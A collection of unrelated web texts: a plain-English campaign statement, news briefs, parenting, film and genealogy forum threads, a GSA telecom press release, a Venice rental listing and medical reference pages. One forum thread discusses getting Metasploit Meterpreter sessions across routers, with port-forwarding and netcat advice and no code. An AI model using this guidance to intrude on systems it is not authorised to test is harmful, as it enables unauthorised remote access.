Thank you to everyone who has contacted the office to let us know, or complain about, the grammatical errors in my recent quotes published online and in the press this week. The quotes related to the school teacher whose unfortunate, and numerous, email errors were sent to me for comment by a news agency.
The teacher's email is a reminder to us that communications made in a hurry can contain mistakes. In many jobs where communication is a major part of the job, deadlines and a heavy workload can leave little time for preparation and proof-reading.
The printed errors of my quote are a reminder that verbal information is more likely to be misinterpreted. The spoken word doesn't have punctuation, good spelling and proper grammar to accurately communicate meaning.
We all make mistakes, but we have a responsibility to communicate clearly, by using a spell-checker before we send our emails, or by providing only written comments to the press.
It's reassuring to know that there are people who care about using the English language properly. I will 'try harder', as my old school reports often suggested. I hope I don't make as many mistakes in one email as the now infamous teacher, but if we set ourselves as examples then we must accept any justified criticism with good grace and learn from it.
Please carry-on complaining to all those that use jargon and poor communications, including me.
Everyone has a right to crystal-clear information that they can understand first time round.
Below are links to some of the press coverage of the teacher's email:-
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A University of Derby online application form has been recognised for its straightforward style with a Crystal Mark. It is the first form of its kind to be recognised by the Plain English Campaign in this way.
The Plain English Campaign gives the award with their distinctive Crystal Mark logo to documents and websites that provide information clearly, with the best use of English and correct use of punctuation and grammar.
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Parking notices are frequently named by drivers as a serious irritation.
Misreading a parking sign can lead to a hefty fine, particularly if the penalty notice is also unclear. Plain English Campaign feel it is time to apply plain English to everything connected with parking to make life easier and less costly for all involved.
Councils have to invest in managing parking to please businesses, residents and drivers. Due to the number of emails we have received, there is no doubt that parking is a sensitive subject for drivers.
Whether it's the signs, the lines, or the fines – parking creates nothing but whines.
Traffic wardens have to cope first hand with the negative response to their attempts at managing the growing number of vehicles on our roads. Meanwhile, drivers struggle with the looming threat of a parking fine.
Richmond Borough Council has tried to tackle the problem by introducing a 'humane parking' scheme, which in reality is little more than an attempt to introduce a 'reasonable parking' scheme. Sadly, the name itself left many drivers puzzled by the use of such language.
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The Plain English campaign has proved it has staying power after its founder scooped a top gong at the Women in Public Life Awards.
Chrissie Maher OBE, from the organisation based in New Mills, was named winner in the public affairs category at a glitzy ceremony at the Northumberland Hotel, London.


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Background checks measure fails in Senate
(Washington, DC) -- A measure expanding federal background checks for gun purchases has failed in the Senate. The vote was 54-46, short of a 60 vote threshold needed for passage. The background checks measure was thought to have the best chance of passage among a number of bills aimed at curbing gun violence. In his capacity as president of the Senate, Vice President Joe Biden presided over the vote.


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By Anne Allred
BOSTON (KSDK) - One thing the St. Louis Cardinals and Boston Red Sox have in common is the way they pay homage to their legendary players.
Bronze statues outside Busch Stadium of Stan "the Man" Musial, Ozzie Smith, Lou Brock, and Bob Gibson are popular places for Cards fans to take photos. In Beantown the men in bronze are equally loved.
There are only three statues outside of Fenway Park. The most iconic is Ted Williams, the greatest player in Red Sox history. He played against Stan Musial in the 1946 World Series matchup between the Cardinals and Red Sox.
There's also legendary left fielder Carl Yastremski. His statue is of when he acknowledged his last at bat with the Sox.
In the sculpture called "Teammates," Sox players Ted Williams, Bobby Doer, Johnny Pesky and Dom DiMaggio were Sox teammates for seven seasons, all served in World War II, and were friends for a lifetime.
For one Red Sox fan, visiting these statues is a superstition he holds dear, no matter how the Sox end the season.
"A little bit of a tradition. Every year I come out once or twice a year, I'll take a picture of the statues and then go over and three taps on the wall for good luck. Ten if I can't get inside for the World Series. At least I can be outside supporting my team," said Red Sox fan Demitrios Galatis.


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Thumb Sucking...needed help
Can anyone give some advice on the best way to get a five year old girl to stop sucking her thumb?
20th August 2013 06:07 AM #2
I would advise taking a gentle approach with this, as your daughter (I'm assuming the girl you write about is your daughter?) probably associates comfort with the thumb sucking.
Please could you tell us how often she sucks her thumb and when she sucks her thumb? This will help to determine the best steps to take. Thumb sucking is best stopped before a child's adult teeth come in as it can affect the alignment of the adult teeth.
Have you talked to your daughter about why she sucks her thumb?
If she sucks her thumb in the day time you could give her lots of fun craft activities to do (such as jewelry making or plaster cast making and painting) in order to keep both of her hands busy so that she is less likely to even think about sucking her thumb.
If she sucks her thumb when she feels frightened (e.g. when she is in a new situation) then perhaps you could talk through how she is feeling or she could draw a picture to explain how she is feeling. Reassurance and talking about ways to make the situation less scary to her could go a long way here.
I really like the thumbuddy toys and resources which use a toy to remind a child not to suck their thumb, in a fun way. There are a number of other gentle books available to read through and discuss with your child. Using thumbuddy (or a similar toy adapted at home) is a good way to help a child stop sucking their thumb at night time.
I hope some of these suggestions help - let us know what you think.
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Thumb sucking is the worst thing i have seen in kids i don't like this at all, thanks for your advice i hope your advices are really effective.
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29th September 2013 05:54 AM #4
Thumb sucking is not unusual for many young children - they may just need some gentle encouragement to help them to stop when you feel the time is right. It is nothing to be ashamed of.
How are you getting on 1sttimemom86?
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Who watched it and what did you think? I am heavy lotr fan so its hard for me to be objective
I was highly disappointed. They tried to make it exactly like the LOTR trilogy when in reality the books were written very differently from each other. That being said, I loved the giant fight in the mountains, and Golum was the star of the show.
As i sad i am not objective same review as guys at spill gave.
The best part was Howard Shore , as always
Bedros said
The best part was Howard Shore , as always
While I agree, I think too much music was used from the original trilogy and not enough new stuff was introduced. I understand the importance of motifs, but I wanted a little more to be honest…
As i am watching the felowship right now i recognise that it cannot go beyond it
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Bedros saidWhile I agree, I think too much music was used from the original trilogy and not enough new stuff was introduced. I understand the importance of motifs, but I wanted a little more to be honest…
The best part was Howard Shore , as always
Agree , quality is never enough
Damn you guys are haters
I loved it! It made a lot of really vital improvements and changes from the original story (the inclusion of the backstory and the extra villain to tie it in with the main LOTR trilogy). Nothing was changed that wasn't in the overall spirit of the novels (and the back story was grabbed from his other novels and appendices). I just finished the book and I was more worried that a movie that followed the novel line by line would be really boring to watch… the changes that Jackson made were really well done IMHO.
As far as the music goes… It's the same universe, so it's only natural that the music will be similar… the same thing was done with Star Wars and pretty much every other major film series. The theme tends to stay similar for the sake of continuity… that said, they used the dwarvish song as the main theme of the movie, not the original LOTR theme, so I don't see the issue. And while we're at it, the dwarvish chant song in Bilbo's house was one of the most frickin awesome film moments that I've seen in years… to take simple text on a page and turn it into that sort of spine chilling moment is incredible.
I saw it in Real3D – I've heard lots of bad stuff about the HFR version, so I'll probably just do IMAX3D if I choose to see it again.
The LOTR trilogy contains three of the best movies of all time. I grew up on The Hobbit and read the rest of Tolkien's work as an adult, including The Silmarillion. I love all things Middle Earth, and really enjoy Jackson's work. I don't consider myself a hater at all. I hope you were talking to the other guys
now now… i think we all or majority here are a bit of gandalf/frodo/aragorn in our harts


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Handful Compete at Benny Brown Track & Field Invitational
Track and Field improve distances in non-conference action
FULLERTON, Calif. - A number of Cal
Lutheran track and field athletes from both the men's and women's teams
traveled to the 2012 Benny Brown Invitational hosted by Cal State University
Results: Benny Brown Invitational
In a field of mostly Division I athletes, a groupf of CLU women competed in numerous field events today.
Jackie de la Paz tied for 16th in the shot put with a mark of 10.96m and was followed closely by teammate Brianna Panapa who recorded a distance of 10.86m. de la Paz was seventh in the discus with a throw of 38.94m. Panapa and Tori Dahl tossed the discus 33.73m and 31.34m, respectively. Britlyn Garrett placed 11th in the javelin with a long throw of 32.39m.
On the men's side, Eric Rogers long jumped his way to a 10th place finish with a mark of 6.68m. Dennis Clay and Deme'Trek Chambers placed 21st and 22nd, respectively with leaps of 6.11m and 6.06m.
Andrew Gessler threw the shot put 12.44m. Adam Hayes tossed the discus 47.89m for a fourth place finish behind three unattached athletes. Justin Puccinello threw the javelin49.28m for an eighth place finish and Scott Case launched the javelin 40.99m.
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February 24, 2000
Contact: Bill Bearden (202) 501-1231
Washington, DC -- The U.S. General Services Administration today selected Bell Atlantic and AT&T to provide local telecommunications services to federal government agencies in the Buffalo, NY metropolitan area. The value of government business is estimated to be $40 million over 8 years - 4 base years plus 4 one-year options.
The award is the latest of the Metropolitan Area Acquisition (MAA) Program, which is managed by GSA's Federal Technology Service (FTS). The initial MAA program awards were made in May 1999. Three contracts for local telecommunications services were awarded to AT&T for New York, Chicago, and San Francisco. The success of that initial award led GSA to expand the program dramatically in order to bring the greatest possible success to federal government users across the nation. The contracts in Buffalo provide for standard voice service as well as switched data service and dedicated transmission service. The scope of the contracts allows for adding new and leading edge services as they become available in the commercial marketplace.
Over the life of the contracts, the new local service prices negotiated with Bell Atlantic and AT&T will potentially save the government over $8.3 million when compared with standard business rates and over $6.4 million when compared with current government rates. This is an approximate 38% saving over standard business rates and 32% over current government rates. For the core voice service of Analog Centrex, the offered prices range from 48% to 27% below standard business rates and 40% to 17% below current government rates.
"This latest award demonstrates once again that GSA is at the leading edge of local telecommunications service competition," said GSA Administrator David J. Barram. "We believe that our success benefits the American taxpayer twofold: once by the direct savings achieved, and again by stimulating the development of viable competition in the industry."
The MAA Program was conceived shortly after the Telecommunications Act of 1996, in order to bring to the local service environment the same benefits of competition that had been realized in the long distance market since 1984. Following closely behind the highly successful award of FTS2001 long distance service contracts to Sprint and MCI in late 1998, the initial MAA awards in May 1999 achieved unprecedented low prices for local service that established new paradigms for the industry. GSA then moved aggressively to extend the program to 17 additional metropolitan areas. Buffalo is the first of those to be awarded.
"The award in Buffalo is particularly gratifying because it demonstrates that we are capable of bringing the benefits of local service competition to smaller markets where federal users are less numerous," said Dennis Fischer, FTS Commissioner. "We have also streamlined our processes very effectively and expect to expedite the awards of the remaining 16 cities."
As part of the its program strategy, FTS believes in continuous internal competition among vendors and therefore has a preference for multiple contracts and sources. To continue its goal to encourage vigorous competition, FTS has incorporated competition-enhancing terms in its MAA and FTS2001 telecommunications contracts, including price management mechanisms and technology refreshment provisions. These are meant to ensure not only that the prices paid by federal government users remain current with the best available in the marketplace, but that the types of services offered remain current with industry trends as well.
For more information on the MAA program, visit the GSA FTS website at http://www.gsa.gov/maa. For contract specific information call Robert Hayhurst, contracting officer, on (703) 610-2234, or the MAA program manager Larry Hazzard on (703) 610-2823.
Additional Information on the Buffalo Metropolitan Area Acquisition (MAA)
Program Level
Nationwide qualification process that certifies competitive local service providers at the program level to provide a set of standard local services.
Continuous competition introduced throughout the life of the contract with a price management mechanism to ensure timely and continued competitive pricing.
One-stop-shopping local service contract with a broad scope for future local and long distance service integration and other new commercial services. Government customers on par with commercial customers�Government gets access to new services at same pace as commercial marketplace.
Four base years plus four one-year options indefinite delivery/indefinite quantify fixed price contract with flexible provision for agencies' specific requirements.
Significant price reduction due to competition.
Service Level
Comprehensive range of local service offerings including voice services with Integrated Services Digital Network (ISDN) capabilities, Circuit-Switched Data Services, and Dedicated Transmission Services. Additional advanced and emerging services such as Packet Switched, Internet Protocol (IP), Frame Relay (FR), Asynchronous Transfer Mode (ATM), Switched Multi-megabit Data Service (SMDS), Synchronous Optical Network (SONET), Video Teleconferencing, Digital Subscriber Line (DSL) Services are in scope for addition when needed.
Feature-rich voice services with many features included as part of basic service package and as options. Services also include provision for National Security/Emergency Preparedness (NS/EP) capabilities.
Local service coverage includes all of Erie County including the city of Buffalo, Buffalo International Airport and other towns and communities in Western New York State. Additional locations in close proximity can be included into the MAA contract after contract award.
No per-minute usage charge for Government-to-Government calls on a contractor's network.
Number portability supported when agencies move to a new service provider.
New services are compatible with existing ISDN equipment with no new equipment costs to agencies
Detailed pricing by NPA-NXX.
Six flexible service delivery point options that allow agencies to acquire partial or turnkey services.
Flexible solutions for ensuring quality inside wiring and achieving connectivity throughout a building.
Wide range of support services including responsive ordering, billing, network troubleshooting, repair capabilities, infrastructure inventory, etc.
Continuous competition designed to allow agencies to act as "smart shoppers" in a commercial-like marketplace.


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I am downloading the poster for all the family members (all in one), at the print shop they are having a problem printing the poster with normal fonts. The fonts are showing up as very tiny..
They are importing the .pdf into photoshop and then into CAD to print on large printers.....
Please I need help in this matter. Thanks.
Is this option working, dosent appear to be doing anything ????
Also my site says i have no photos?????
When creating an ancestor report, I consistently get a bug that gives incorrect spacing between the words.
For examlpe, I cut-and-pasted this from the report :
Anne Agate [Martin] was born in 1935 in Hastings,
which looks fine here, but in the original the space after martin] does not appear to be there.
I think the problem is in the spacing of the bold font - in some places in the report, whole words get overwritten. I would change the size of the font, but the "report options" menu item is greyed out and inactive). I am using FTB version 220.127.116.1133
I have attached a jpeg, so you can see that I am not imagining it. Note also the wrong spacing next to person 14 after 'married'.
Note also that the "untitled" attachment below is getting copied whenever I edit the post to correct spelling or add some words.
Is there no more Descendants Fan chart option available? Only Ancestors is selecable in the drop-down list.
I have been using MyHeritage for about two weeks now, have been having a blast with it. Had a bit of a jump on things since I had some material provided in hard copy that I transfered into electronic format and once I got use to the interface things started clicking along nicely.
Along the way I generated a couple of small charts to see what they looked like. That was about a week and a half ago when I was about 300 people.
Earlier this weekend I attempted to generate a chart and this is the steps that I took:
Option 1 - I have tried All-in-One & Sun Chart
Option 2 - Style 10 and Style 11
Option 3 - Main Person: Myself with my Spouse
Title: Our Family Tree
Facts for Individuals: Dates of Birth and death
Generations: Show all generations
Printing method: Mutiple pages with the options Prevent boxes from crossing page boundries selected and paper size set for letter set
After a about an hour or so the system finally spits out:
Please generate the chart again
This has happened several times. I expected it to take a bit to generated with over 1200 people but I don't expect it to crash, I am sure there are others who have generated trees much larger than what I have gotten so far and this is not even half of what I have to input, I have a 30 page document listing the generations for my mother's side that was prepared off the LDS database arriving later this week and expect the tree to double if not quadruple within the next two weeks.
When all is said and done I expect to be able to generate and order complete charts for the heads of the various families. How can this be accomplished if your system keeps biting the dust every time I attempt to generate a chart?


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Hi Fellaz,
I've successfully exploited various win xp machines on my lan in lab environment using SET and aurora exploit but that is locally, how can these exploitz be used against other side of router on MY remote office pcs (ie.) want to try and pentest outside the local lan, will the exploit meterpreter session come back to me on my LHOST 192.168.0.8 address even if not on the same lan. if not how can it be acheived?
Pentest office : attack machine ip 192.168.0.8 public ip 96.xx.xx.xx
Remote office different lan: victim ip 192.168.1.9 public ip 92.xx.xx.xx
MY OWN btw victim machine both owned my myself.
both ip addresses differ 92.xx.xx.xx and 96.xx.xx.xx so how to metasploit past my remote router into the lan side.
As stated I own both networks but not Pwnd yet.
Googled and not found a thing apart from changing LHOST to public ip but thats just the router isnt it?
Kind Regardz DEE
Thanx for such a quick reply, now how would i do this?
Set meterpreter to LHOST 92.xxx.xxx.xxx my pentest public ip then forward on to 192.168.0.8, dont expect you to smoke my fags 4 me but am a little new to the exploit gear. can it be forwarded from my pentest public ip into my pentest lan and what comms if u could help would be very much appreciated.
Thanx again......
even with port forwarding, you might not be able to open certain ports due to your isp. you may want to look into doing some research as to what ports your isp has blocked off.although some ports may be blocked off, you can still use netcat to listen on that specific port along with using metasploit.


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Size60 m²
Floor No.0
- Family/child friendly
- Kitchen
- Air conditioning
- Internet/WiFi
- Dishwasher
- Baby cot
- Washer/dryer
Accommodation summary
|Sestiere Castello, 30122 Venezia, Italy
|Property type
|Property ID
|Acceptance rate
|Response time
|A few hours
|Calendar updated
Tiepolo is equipped with air conditioning, satellite TV, Wi-fi internet, dishwasher, microwave oven, etc.
Marvellous 60 sq.m apartment, totally furnished with design pieces of furniture, modern paintings, refined lighting, wide and luminous windows all overlooking a particular venetian court on one side. The apartment has an extremely particular and fascinating story that dates back to the year 1600. Indeed, here in 1696 was born the famous venetian painter Gianbattista Tiepolo. The splendid apartment is composed of a living room with a roomy and comfortable davenport, a completely accessorised kitchen complete of fridge, microwave oven and dishwasher, a double bedroom, another double bedroom and roomy restroom. The additional comforts in the apartment are LCD 32-inch monitor satellite television, free internet Wi-fi and air conditioning in the whole apartment, hairdryer, toaster, ironing board and flatiron, vacuum cleaner and, upon request, cradle for children.
The apartment is located on the mezzanine.
Capacity: 5 persons.
The Building is sited in the heart of Venice, 100 m from the Arsenal Museum, a museum where there is the history of the navy of the Serenissima. On foot and in only 5 minutes, you can reach Saint Mark's Square and its famous Doge's Palace, walking along Riva degli Schiavoni, that represents the most beautiful and fascinating walk in Venice among buildings of the XVII century on your right and the fascination of the Saint Mark's Basin on the left, particularly magic and romantic under the first lights of dusk. For the fashion lovers, close by there is Calle XXII Marzo, better known as the fashion street, where there are Gucci, D&G, Valentino stores, etc. In the nearby do not forget the various restaurants and bars where you can taste the typical venetian or international kitchen. The closest ferry stop is Arsenale, from where, without passing any bridge, you can reach the Building.
House rules- ARRIVAL AND DEPARTURE:
Unless otherwise stated in the individual descriptions of the properties, the arrival/departure times are as follows:
Arrival: between 3 PM and 8 PM.
Departure: between 9 AM and 10.30 AM.
Arrival from 8 PM to 10 PM: 20 euros.
Arrival from 10 PM to midnight: 40 euros.
Arrival from Midnight to 3 PM: during this time period, we do not allow guests to check in.
(Luggage deposit can be found at train station at a fee - so please check directly with the relevant locations what the arrangements are).
From the 24th of August 2011, all visitors who stay in an accommodation facility within the territory of the Municipality of Venice have to pay the "Tourist tax".
The overnight tax varies from € 0.75 in low season to € 2.00 in high season. It is due only for the first 5 days.
Kids under 10 years of age do not pay. Youngers from 10 to 16 years of age have a 50% reduction.
The collected funds will help the City improve the quality of the tourist services (services, museums, events...) and finance works aimed at maintaining, using and salvaging the city's cultural and architectural heritage.
Extras that can be ordered upon request and prior to or during arrival (but please give us as much notice as possible):
A baby cot: €10
During your stay, you can require an extra cleaning: from €50 to €70
Private parking upon request: €25 per day
|Check-in After
|Check-in before
|On arrangement
|Check-out Before
|Cancellation Policy
Reviews for this host's other properties
Beautiful house, clean and tidy very convenient as the location (very close to Rialto and Piazza San Marco). Equipped with all the comforts, from TV to heating! The only thing I would suggest is to change the mattress sofa bed because it is very uncomfortable but otherwise everything was perfect for a vacation in Venice is perfect!
Bellissima casa, ordinata e pulita molto comoda come posizione (vicinissima a Rialto e a Piazza San Marco). Dotata di tutti i comfort, dalla tv al riscaldamento! L'unica cosa che consiglierei è di cambiare il materasso del divano letto perchè è decisamente scomodo ma per il resto è stato tutto perfetto per una vacanza a Venezia è l'ideale!
Recommend without hesitation, a wonderful apartment in quiet residential location, away from tourist hussle yet only 10 mins walk from station and 5 mins from boats. Close to shops and restaurants. Spacious, modern, excellent value for money. Also has small courtyard. Very helpful host.
We were 5 architects visiting venice for the architecture Biennale. The appartment was next to Arsenale, and it was even more great than it apears in the advertisment photos.
Realy clean, nice, good location, cheap.
Very nice apartment, functional and practical, very well located in Venice. It feels like home. Ideal for families.
Très joli appartement, fonctionnel et pratique, très bien situé dans venise. On se sent comme à la maison. Idéal pour familles.
Nice apartment in a good location, close to the water taxi stop. Wi-Fi nice touch
Housing large, clean and especially VERY WELL LOCATED! rare in Venice. quiet apartment, close to all amenities and the center of everything (Rialto market, Ghetto, St. Mark ...) I RECOMMEND. Sylvain-France
Logement grand, propre et surtout TRES BIEN SITUE !!! rare à Venise. appartement très calme, proche tous commerces et au centre de tout (Rialto, marché, Guetto, saint Marc...) JE RECOMMANDE. Sylvain -France
Nice and central location. Perfect for 4 or less people
The apartment is in a great location, near the Stazione Santa Lucia, so do not go with all the luggage through Venice. The apartment is super nice in a quiet alley, and yet it is only 1-2 minutes among the tourists. The apartment is located on the ground floor and is directly surrounded by a canal. Unfortunately, the heating did not work, and we had cold (but were rare in the apartment and so it did not bother). The house is very loud, but as I said in the holiday anyway you spend only a short time in the apartment. Otherwise, the flat was clean and cozy.
Die Wohnung ist super gelegen, in der Nähe der Stazione Santa Lucia, so muss man nicht mit dem ganzen Gepäck durch Venedig gehen. Die Wohnung liegt super schön in einer ruhigen Gasse, und dennoch ist man in 1-2 Minuten unter den Touristen. Das Apartment befindet sich im Parterre und ist direkt von einem Kanal umgeben. Leider ging die Heizung nicht, und wir hatten kalt (waren jedoch selten in der Wohnung und daher störte es nicht). Das Haus ist sehr ringhörig, aber wie gesagt im Urlaub verbringt man sowieso nur kurze Zeit in der Wohnung. Ansonsten war die Wohnung sauber und gemütlich.
The apartment is very nice and clean, the location is great. I recommend it.
L'appartamento è molto carino e pulito, la posizione è ottima. Lo consiglio.
Ladies and gentlemen. I hereby would like to send you my review of the flat four Mori. The apartment is furnished modern renovated good but very dark. Two points we could not fault specific. The apartment is very moldy. When opening the door a one mold odor meets the very uncomfortable. The cabinets are difficult to use because of the smell. Also, the kitchen is very bad. Lacks pots and other kitchen utensils. On the wall in the bedroom, a large gray spot was about 50 × 80 cm. We had the mold with a vacuum cleaner sucking away.
Sehr geehrte Damen und Herren. Ich möchte Ihnen hiermit meine Bewertung über die Wohnung vier Mori schicken. Die Wohnung ist modern eingerichtete gut renoviert allerdings sehr dunkel. Zwei Punkte haben wir konkret zu bemängeln. Die Wohnung ist Sehr schimmelig . Beim Öffnen der Tür kommt einem ein Schimmelgeruch entgegen der sehr unangenehm ist. Die Schränke sind nicht zu benutzen wegen des Geruchs. Außerdem ist die Küche sehr schlecht ausgestattet .es fehlen Töpfe und sonstige Küchenutensilien. An der Wand im Schlafzimmer war ein großer Schimmelfleck circa 50 × 80 cm groß. Den Schimmel mussten wir mit dem Staubsauger weg saugen.
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ELISAEnzyme-linked immuno assay; EIA
ELISA stands for enzyme-linked immuno assay. It is a commonly used laboratory test to detect antibodies in the blood.
How the Test is Performed
Blood is typically drawn from a vein, usually from the inside of the elbow or the back of the hand. This is called a venipuncture.
The sample is sent to a laboratory where the targeted antibody or antigen is linked to specificenzyme. If the target substance is in the sample, the test solution turns a different color.
How to Prepare for the Test
No special preparation is needed.
How the Test Will Feel
When the needle is inserted to draw blood, some people feel moderate pain, while others feel only a prick or stinging sensation. Afterward, there may be some throbbing.
Why the Test is Performed
This test is often used to see if you have been exposed to viruses or other substances that cause infection. It is often used to screen for current or past infections.
Normal Results
Normal values depend on the type of substance being identified. Normal value ranges may vary slightly among different laboratories. Talk to your doctor about the meaning of your specific test results.
The examples above show the common measurements for results for these tests. Some laboratories use different measurements or may test different specimens.
What Abnormal Results Mean
Abnormal values depend on the type of substance being identified. In some people, a positive result may be normal.
Veins and arteries vary in size from one patient to another and from one side of the body to the other. Obtaining a blood sample from some people may be more difficult than from others.
Other risks associated with having blood drawn are slight but may include:
- Excessive bleeding
- Fainting or feeling light-headed
- Hematoma (blood accumulating under the skin)
- Infection (a slight risk any time the skin is broken)
Ashihara Y, Kasahara Y, Nakamura RM. Immunoassay and immunochemistry. In: McPherson RA, Pincus MR, eds. Henry's Clinical Diagnosis and Management by Laboratory Methods. 22nd ed. Philadelphia, Pa: Saunders Elsevier; 2011:chap 44.
Review Date: 10/14/2012
Reviewed By: Linda J. Vorvick, MD, Medical Director and Director of Didactic Curriculum, MEDEX Northwest Division of Physician Assistant Studies, Department of Family Medicine, UW Medicine, School of Medicine, University of Washington. Also reviewed by A.D.A.M. Health Solutions, Ebix, Inc., Editorial Team: David Zieve, MD, MHA, David R. Eltz, Stephanie Slon, and Nissi Wang.


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The Cataloging Department, part of the Resources and Collections Services division, provides records for the ND Catalog in order to identify, describe and organize resources in the University Libraries' collections, with the exception of rare books, musical sound recordings and scores, government documents and serials (which are handled by other cataloging units in the Libraries). We will be happy to expedite the cataloging of titles with a status of On Order or In Process. Simply fill out and submit the In Process/On Order request form .
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January UCSF Entrepreneurs Club with Dennis Boyle & Jeff Burton
Entrepreneurship Center at UCSF
Wednesday, January 23, 2013 from 5:30 PM to 7:00 PM (PST)
Who's Going
San Francisco, California
London, United Kingdom
Florence, Italy
Event Details
Come to our first meeting of 2013. In addition to PIZZA and networking, we'll have two short talks. Jeff Burton, Executive Director of Berkeley's startup accelerator Skydeck, will tell us about his program that offers space, mentoring and resources from the Berkeley ecosystem to UCB and UCSF affiliates. Our second guest is Dennis Boyle, is a founder and partner of IDEO, a state-of-the-art design firm with an innovative approach design, whether a device, diagnostic, mobile/digital app. Dennis will describe IDEO's methodology to incorporate needs and behaviors into product or service design. Dennis speaks all over the world, has a focus on health and wellness and teaches at Stanford.
When & Where
UCSF-Mission Bay, Byers Hall, Room 212
1600 4th St
San Francisco,
Wednesday, January 23, 2013 from 5:30 PM to 7:00 PM (PST)
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Orem • Maple Mountain senior Landon Knutzen made good on his one final shot at glory, then sprinted up the poorly lit stairs at Utah Valley University to find his parents.
A 138-pounder on the best team in 4A wrestling, Knutzen eyed the night he would have a chance to wrestle under the lights with an entire crowd fixated on the mat he competed on.
In fact, he couldn't get it out of his mind.
Last year, Knutzen, then a highly ranked 132-pounder junior, was preparing to wrestle at the Region 8 tournament. He weighed in on the dot at Maple Mountain before jumping on the bus to head to the tournament, but once there, he came in a sliver over.
He couldn't wrestle at region. He couldn't wrestle at state.
So when he defeated Box Elder's Teagan Hubbard 3-0 Thursday night, one of the many Golden Eagle stars finally earned his wings.
"I did it," Knutzen said. "It's what I've been working for, what I've been waiting for and I did it."
He was one of many.
Maple Mountain defended its 4A straight crown from a year ago with ease, going 7 for 9 in Thursday night's 4A finals and finishing with a combined 360 points, 58.5 points ahead of second place Box Elder.
"No matter where I took them, we didn't just win, we dominated," said Maple Mountain coach Justin Judkins.
Thursday night was a typical night for the Golden Eagles.
Senior 120-pounder Britain Carter won his fourth straight state title. Grant LaMont won his third straight, while younger brother Taylor won his first championship. Josh Searle and Jon Wixom also capped off their 2012-13 seasons as best wrestlers in their weight.
Then there was 160-pounder Kimball Bastian.
The Maple Mountain grappler faced off against rival and two-time defending state champion Rasten Yeates of Box Elder in the finals. Earlier this year, Yeates defeated Bastian in triple overtime.
Going into the gold-medal match, Judkins wondered if Bastian, who competed with a torn meniscus in his knee, believed he had a chance to defeat one of the best wrestlers in the state.
"Tonight I looked in his eyes and knew I got him to buy in," Judkins said.
It worked.
Bastian upset the two-time champ in a physical, bloody match with a 5-3 victory.
"The guy who wins last," Judkins said, "he's the champ."
For Carter, completing his four-peat was a feat he was nervous about going in. The future Columbia University wrestler said the pressure was definitely on to become part of an elite group to leave high school wrestling with four state titles.
"You have to be the four-timer," he said, "not the guy who won the first three years and lost his senior year."
Now, Maple Mountain must move forward, both as state champions and as state champions that must replace irreplaceable talent.
"When you get a group of wrestlers who are so good, you get this mentality of, 'We need to be the very best,' " Carter said.
For a second year in a row, the Golden Eagles were pure gold.
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M 1 (Methotrexate 2.5 mg)
This pill with imprint "M 1" is Yellow, Round and has been identified as Methotrexate sodium 2.5 mg. It is manufactured by DAVA Pharmaceuticals, Inc..
Methotrexate is used in the treatment of rheumatoid arthritis; psoriatic arthritis; psoriasis; acute lymphoblastic leukemia; dermatomyositis (and more), and belongs to the drug classes antimetabolites, antipsoriatics, antirheumatics, other immunosuppressants. Not for use in pregnancy. Methotrexate 2.5 mg is not a controlled substance under the Controlled Substance Act (CSA).
- Imprint:
- Strength:
- 2.5 mg
- Color:
- Yellow
- Size:
- 6.00 mm
- Shape:
- Round
- Availability:
- Prescription only
- Drug Class:
- Antimetabolites
Other immunosuppressants
- Pregnancy Category:
- X - Not for use in pregnancy
- CSA Schedule:
- Not a controlled drug
- Manufacturer:
- DAVA Pharmaceuticals, Inc.
- National Drug Code (NDC):
- 67253-0320
- Inactive Ingredients:
- lactose
magnesium stearate
corn starch
Note: Inactive ingredients may vary.
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|Manufacturer / Repackager
|DAVA Pharmaceuticals, Inc.
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